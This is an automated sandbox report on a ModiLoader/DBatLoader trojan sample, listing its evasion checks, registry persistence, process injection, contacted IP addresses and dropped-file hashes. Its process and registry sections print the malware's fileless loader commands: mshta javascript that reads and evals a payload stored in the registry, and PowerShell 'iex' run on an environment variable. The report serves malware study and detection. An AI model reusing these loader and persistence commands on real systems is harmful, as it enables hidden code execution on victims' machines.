Malware Analysis Report

2024-10-23 19:35

Sample ID 240504-nzxzjadb71
Target 129ba487da065ef14c609bc533fe906b_JaffaCakes118
SHA256 d4165866be3c391c105ad37f159754c67df29548328c3384e6d28eac752ebb30
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

d4165866be3c391c105ad37f159754c67df29548328c3384e6d28eac752ebb30

Threat Level: Known bad

The file 129ba487da065ef14c609bc533fe906b_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

ModiLoader, DBatLoader

Process spawned unexpected child process

Looks for VirtualBox drivers on disk

Looks for VirtualBox Guest Additions in registry

ModiLoader Second Stage

Checks for common network interception software

Looks for VMWare Tools registry key

Deletes itself

Checks BIOS information in registry

Checks computer location settings

Adds Run key to start application

Maps connected drives based on registry

Drops file in System32 directory

Suspicious use of SetThreadContext

Unsigned PE

Enumerates physical storage devices

Suspicious behavior: MapViewOfSection

Suspicious behavior: EnumeratesProcesses

Modifies registry class

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Modifies Internet Explorer settings

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-04 11:50

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-04 11:50

Reported

2024-05-04 11:53

Platform

win7-20240221-en

Max time kernel

150s

Max time network

149s

Command Line

"C:\Users\Admin\AppData\Local\Temp\129ba487da065ef14c609bc533fe906b_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VirtualBox drivers on disk

evasion
Description Indicator Process Target
File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
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Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\7976b135\\51dd6a1e.bat\"" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2688 set thread context of 2440 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2440 set thread context of 2928 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\system32\mshta.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\85b167c9 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\85b167c9\shell C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\85b167c9\shell\open C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\85b167c9\shell\open\command C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\85b167c9\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:a8A5lVOu=\"jDw7O\";e0q5=new ActiveXObject(\"WScript.Shell\");LF5G8HAh=\"3a1\";A9RsG=e0q5.RegRead(\"HKCU\\\\software\\\\pzadcohmp\\\\jhpvhyp\");eVeSV3QL=\"Ly9iN\";eval(A9RsG);a5X9Ynq=\"jX3Pb\";\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\.939cc2701 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\.939cc2701\ = "85b167c9" C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
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N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
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N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
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N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2036 wrote to memory of 2688 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2036 wrote to memory of 2688 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2036 wrote to memory of 2688 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2036 wrote to memory of 2688 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2688 wrote to memory of 2440 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2688 wrote to memory of 2440 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2688 wrote to memory of 2440 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2688 wrote to memory of 2440 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2688 wrote to memory of 2440 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2688 wrote to memory of 2440 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2688 wrote to memory of 2440 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2688 wrote to memory of 2440 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2440 wrote to memory of 2928 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2440 wrote to memory of 2928 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2440 wrote to memory of 2928 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2440 wrote to memory of 2928 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2440 wrote to memory of 2928 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2440 wrote to memory of 2928 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2440 wrote to memory of 2928 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2440 wrote to memory of 2928 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\129ba487da065ef14c609bc533fe906b_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\129ba487da065ef14c609bc533fe906b_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:q3XJZV1="g";X0i=new%20ActiveXObject("WScript.Shell");Xzdj5="bmHvwCW";N00exd=X0i.RegRead("HKCU\\software\\etTpFC\\BfgV7J5");LBlTIkv3="I";eval(N00exd);L0DfI8="s0LZg";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:bnsysg

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
US 136.104.251.45:8080 tcp
JP 126.203.223.151:80 tcp
US 143.147.139.183:443 tcp
DE 193.218.23.66:443 tcp
US 40.248.48.11:8080 tcp
AU 170.157.104.163:80 tcp
GB 89.243.181.82:80 tcp
US 170.190.35.254:443 tcp
JP 126.144.120.196:80 tcp
VN 113.170.32.66:80 tcp
EE 193.40.120.224:443 tcp
KR 116.93.248.145:80 tcp
US 3.50.35.134:8080 tcp
JP 13.196.86.248:443 tcp
US 32.174.250.211:443 tcp
US 28.147.176.222:80 tcp
FR 212.39.224.145:443 tcp
US 38.196.165.156:443 tcp
UY 200.58.153.194:80 tcp
US 6.163.168.210:80 tcp
PL 185.243.229.169:80 tcp
CN 112.94.221.41:80 tcp
US 11.52.31.31:80 tcp
FR 17.68.31.120:80 tcp
IT 88.38.174.165:443 tcp
ID 180.245.112.142:443 tcp
US 98.39.86.153:443 tcp
RU 176.196.224.146:443 tcp
RU 88.86.215.252:80 tcp
CO 181.207.174.223:80 tcp
GB 31.121.99.172:443 tcp
CN 39.79.63.209:443 tcp
FR 86.213.75.238:80 tcp
DE 149.218.244.156:443 tcp
US 143.95.141.88:8080 tcp
BR 54.232.162.95:80 tcp
US 161.247.72.158:80 tcp
KR 106.96.178.154:80 tcp
MA 196.85.181.186:443 tcp
US 165.215.6.178:443 tcp
GB 185.116.215.190:443 tcp
US 29.233.12.34:80 tcp
US 57.198.32.152:80 tcp
CA 144.217.68.235:443 tcp
US 167.166.30.168:443 tcp
TW 43.251.124.72:443 tcp
DE 148.54.1.132:80 tcp
US 7.80.24.212:8080 tcp
IT 93.52.12.227:80 tcp
HK 42.3.251.128:80 tcp
AR 200.43.179.176:443 tcp
US 104.32.163.106:443 tcp
US 163.38.235.24:443 tcp
US 204.255.54.245:443 tcp
US 69.155.38.251:8080 tcp
US 174.196.131.93:443 tcp
US 207.98.22.227:80 tcp
US 98.2.125.153:443 tcp
DE 92.192.156.122:443 tcp
PH 49.148.130.187:80 tcp
US 11.255.205.193:443 tcp
GB 5.151.19.187:80 tcp
CN 14.123.17.165:80 tcp
CN 175.75.37.126:80 tcp
AU 168.198.78.46:80 tcp
US 44.41.147.34:443 tcp
US 169.108.217.170:443 tcp
US 168.179.208.165:443 tcp
US 76.169.89.48:80 tcp
JP 211.17.223.255:443 tcp
KR 59.28.217.104:443 tcp
US 26.6.77.169:80 tcp
FR 212.51.168.32:80 tcp
CN 106.74.133.120:80 tcp
US 68.13.188.7:443 tcp
DZ 105.108.144.183:80 tcp
JP 52.68.177.132:80 tcp
US 32.93.193.118:80 tcp
JP 126.152.57.240:443 tcp
JP 60.193.143.15:8080 tcp
RU 178.204.58.87:443 tcp
US 100.42.177.172:8080 tcp
KR 61.85.183.59:80 tcp
US 34.180.102.63:80 tcp
IE 54.247.167.39:80 tcp
US 205.163.240.242:443 tcp
US 19.88.215.142:443 tcp
US 8.244.196.224:80 tcp
BR 189.98.173.49:80 tcp
US 33.162.211.193:8080 tcp
US 97.194.59.227:8080 tcp
CN 117.142.225.101:443 tcp
BR 200.213.207.85:80 tcp
CN 60.181.124.85:443 tcp
FR 163.74.106.242:443 tcp
US 209.195.204.249:443 tcp
US 156.15.3.20:80 tcp
CN 183.24.224.132:80 tcp
DE 93.246.184.254:443 tcp
PL 62.121.146.108:443 tcp
US 146.85.193.10:443 tcp
US 6.36.228.81:443 tcp
CN 59.192.80.44:80 tcp
US 209.57.153.205:443 tcp
US 209.37.214.90:80 tcp
DZ 154.250.37.27:8080 tcp
BR 157.86.249.92:443 tcp
US 167.19.18.153:443 tcp
KZ 37.151.21.209:80 tcp
DE 93.219.254.92:80 tcp
HK 154.218.18.115:443 tcp
NL 145.22.142.100:443 tcp
JP 150.15.80.136:8080 tcp
JP 150.24.255.112:80 tcp
US 134.12.12.50:443 tcp
N/A 172.24.36.160:80 tcp
DE 93.239.116.124:80 tcp
US 172.172.41.68:443 tcp
GB 90.254.138.10:443 tcp
CO 191.94.96.151:80 tcp
US 70.119.207.153:443 tcp
US 206.131.61.246:443 tcp
US 3.55.187.83:8080 tcp
KR 139.150.203.187:80 tcp
RU 92.126.216.188:80 tcp
US 143.13.225.217:80 tcp
NO 84.208.39.13:80 tcp
US 158.186.188.122:80 tcp
US 8.56.143.101:443 tcp
CN 111.172.205.97:443 tcp
US 69.203.169.53:80 tcp
US 44.195.185.216:80 tcp
DE 141.73.117.93:443 tcp
CN 220.173.172.173:443 tcp
US 9.218.126.170:8080 tcp
FR 86.246.127.103:80 tcp
N/A 100.86.200.101:80 tcp
FR 166.108.158.160:80 tcp
US 108.213.231.228:80 tcp
ZA 196.25.247.83:80 tcp
CH 169.33.148.43:8080 tcp
CR 190.241.224.188:80 tcp
KR 125.158.67.140:80 tcp
US 50.87.255.230:80 tcp
MA 196.115.231.73:80 tcp
US 3.103.63.151:443 tcp
US 144.128.190.250:8080 tcp
US 132.107.154.223:80 tcp
EG 156.218.125.245:80 tcp
JP 153.150.79.144:443 tcp
US 9.69.57.24:80 tcp
BR 179.80.172.207:443 tcp
BR 191.213.106.192:80 tcp
US 70.251.168.125:443 tcp
KR 175.221.9.238:80 tcp
US 17.92.21.208:443 tcp
US 148.174.42.128:80 tcp
FR 194.2.241.138:80 tcp
US 174.145.245.219:80 tcp
SA 167.100.247.254:443 tcp
US 22.225.1.224:80 tcp
BR 187.183.115.25:443 tcp
N/A 10.34.178.167:80 tcp
US 15.92.19.232:80 tcp
US 47.32.201.47:80 tcp
US 73.248.151.233:80 tcp
US 128.202.242.217:443 tcp
DZ 154.253.102.79:80 tcp
US 205.167.213.126:443 tcp
BR 187.30.241.45:80 tcp
ID 36.80.55.185:443 tcp
JP 220.42.70.180:443 tcp
US 73.122.169.49:443 tcp
US 30.194.126.181:80 tcp
US 100.195.219.4:80 tcp
CN 111.187.150.191:80 tcp
GB 86.146.118.63:443 tcp
US 159.83.245.35:443 tcp
US 56.25.220.99:443 tcp
DE 149.224.226.113:80 tcp
FR 185.182.255.249:443 tcp
FR 173.44.20.23:80 tcp
PT 188.251.40.108:80 tcp
US 128.114.244.169:80 tcp
US 135.145.162.234:80 tcp
FI 192.194.136.211:443 tcp
IE 57.71.158.76:80 tcp
CN 117.15.51.115:443 tcp
US 98.207.81.225:443 tcp
FR 77.144.25.5:443 tcp
DE 94.130.248.8:80 tcp
FI 212.116.58.40:80 tcp
US 192.17.87.158:80 tcp
IN 175.101.18.38:80 tcp
EG 105.86.164.64:80 tcp
NO 159.81.87.124:443 tcp
BR 191.50.80.99:443 tcp
CN 114.233.238.70:443 tcp
AU 103.107.131.198:443 tcp
US 13.15.208.116:443 tcp
US 15.180.64.106:80 tcp
US 208.23.29.86:443 tcp
NZ 49.225.167.196:80 tcp
US 6.84.83.92:80 tcp
CN 117.59.35.132:80 tcp
NL 13.93.10.6:443 tcp
JP 111.64.101.58:443 tcp
US 216.251.89.168:80 tcp
US 70.97.82.4:443 tcp
US 204.228.158.226:80 tcp
MX 187.241.178.180:443 tcp
IT 88.56.13.5:80 tcp
US 7.219.168.178:80 tcp
GR 160.40.45.125:443 tcp
US 75.22.211.175:443 tcp
CN 222.137.23.200:443 tcp
CN 111.163.128.53:80 tcp
US 209.147.252.243:80 tcp
MA 105.146.172.195:443 tcp
US 205.165.198.237:80 tcp
US 165.119.161.93:80 tcp
US 150.133.9.26:8080 tcp
US 215.82.151.181:443 tcp
US 199.11.83.252:443 tcp
CN 120.217.151.43:80 tcp
US 33.221.116.238:8080 tcp
DE 178.14.66.32:80 tcp
US 166.127.22.164:443 tcp
JP 126.72.10.91:443 tcp
US 204.62.117.156:443 tcp
JP 218.229.179.243:80 tcp
JP 110.160.20.52:80 tcp

Files

memory/2316-0-0x0000000000457000-0x0000000000459000-memory.dmp

memory/2316-1-0x0000000000400000-0x000000000045FCB0-memory.dmp

memory/2316-2-0x0000000001E00000-0x0000000001EDC000-memory.dmp

memory/2316-6-0x0000000001E00000-0x0000000001EDC000-memory.dmp

memory/2316-4-0x0000000001E00000-0x0000000001EDC000-memory.dmp

memory/2316-7-0x0000000001E00000-0x0000000001EDC000-memory.dmp

memory/2316-3-0x0000000000400000-0x000000000045FCB0-memory.dmp

memory/2316-5-0x0000000001E00000-0x0000000001EDC000-memory.dmp

memory/2316-8-0x0000000001E00000-0x0000000001EDC000-memory.dmp

memory/2316-9-0x0000000001E00000-0x0000000001EDC000-memory.dmp

memory/2688-13-0x0000000005480000-0x0000000005481000-memory.dmp

memory/2688-14-0x0000000006140000-0x000000000621C000-memory.dmp

memory/2440-15-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-18-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2688-17-0x0000000006140000-0x000000000621C000-memory.dmp

memory/2440-27-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-31-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-39-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-46-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-47-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-41-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-38-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-37-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-36-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-35-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-40-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-51-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-52-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-50-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2316-55-0x0000000001E00000-0x0000000001EDC000-memory.dmp

memory/2440-49-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-48-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-34-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-33-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-32-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-30-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-29-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-28-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-26-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-25-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-24-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-23-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-22-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-21-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-20-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2440-19-0x0000000000130000-0x000000000027A000-memory.dmp

memory/2928-61-0x0000000000200000-0x000000000034A000-memory.dmp

memory/2928-69-0x0000000000200000-0x000000000034A000-memory.dmp

memory/2928-73-0x0000000000200000-0x000000000034A000-memory.dmp

memory/2928-72-0x0000000000200000-0x000000000034A000-memory.dmp

memory/2928-71-0x0000000000200000-0x000000000034A000-memory.dmp

memory/2928-70-0x0000000000200000-0x000000000034A000-memory.dmp

memory/2928-68-0x0000000000200000-0x000000000034A000-memory.dmp

memory/2928-67-0x0000000000200000-0x000000000034A000-memory.dmp

memory/2928-66-0x0000000000200000-0x000000000034A000-memory.dmp

memory/2928-65-0x0000000000200000-0x000000000034A000-memory.dmp

memory/2928-64-0x0000000000200000-0x000000000034A000-memory.dmp

memory/2928-63-0x0000000000200000-0x000000000034A000-memory.dmp

memory/2928-62-0x0000000000200000-0x000000000034A000-memory.dmp

C:\Users\Admin\AppData\Local\7976b135\a6c8ed05.939cc2701

MD5 ee93d22cc0699da3868bd92ccfcddbac
SHA1 1cb7e64c502c812348166653329fb8b9b1938427
SHA256 b5caa39123809006858534b451e5e8b3f10a8af9303e3406678c880e44275548
SHA512 581fa51c650cd2e033d883d918b670083aec850eda37e9d29e46558edbbd4a8d803e26fc31e6a59464daddcfaaf005f8e7755c1d5293e5379ec1611f92859be7

C:\Users\Admin\AppData\Local\7976b135\51dd6a1e.bat

MD5 811be83d03f311a2c219477eb9daafc9
SHA1 aa5ff34b0a51370c3bbc0c5e60f570814b4114a4
SHA256 d8fe518037c7eb92329c94e2a977a32225f30cf48c62f6e7d0a2b09cc33f7c1d
SHA512 d4ec86a4d2c49086e9de8c1fec16e7a70c28d01690d6171dc146b70318df5065d35c3c4e03608a20a425d6f5b719f0ef618175a5b4910613308eda78d12129c5

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-04 11:50

Reported

2024-05-04 11:53

Platform

win10v2004-20240419-en

Max time kernel

141s

Max time network

99s

Command Line

"C:\Users\Admin\AppData\Local\Temp\129ba487da065ef14c609bc533fe906b_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\Control Panel\International\Geo\Nation C:\Windows\system32\mshta.exe N/A

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Factor = "20" C:\Windows\system32\mshta.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Cache = b104000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 C:\Windows\system32\mshta.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\Software\Microsoft\Internet Explorer\International\CpMRU C:\Windows\system32\mshta.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Enable = "1" C:\Windows\system32\mshta.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Size = "10" C:\Windows\system32\mshta.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3726321484-1950364574-433157660-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\InitHits = "100" C:\Windows\system32\mshta.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3264 wrote to memory of 4504 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
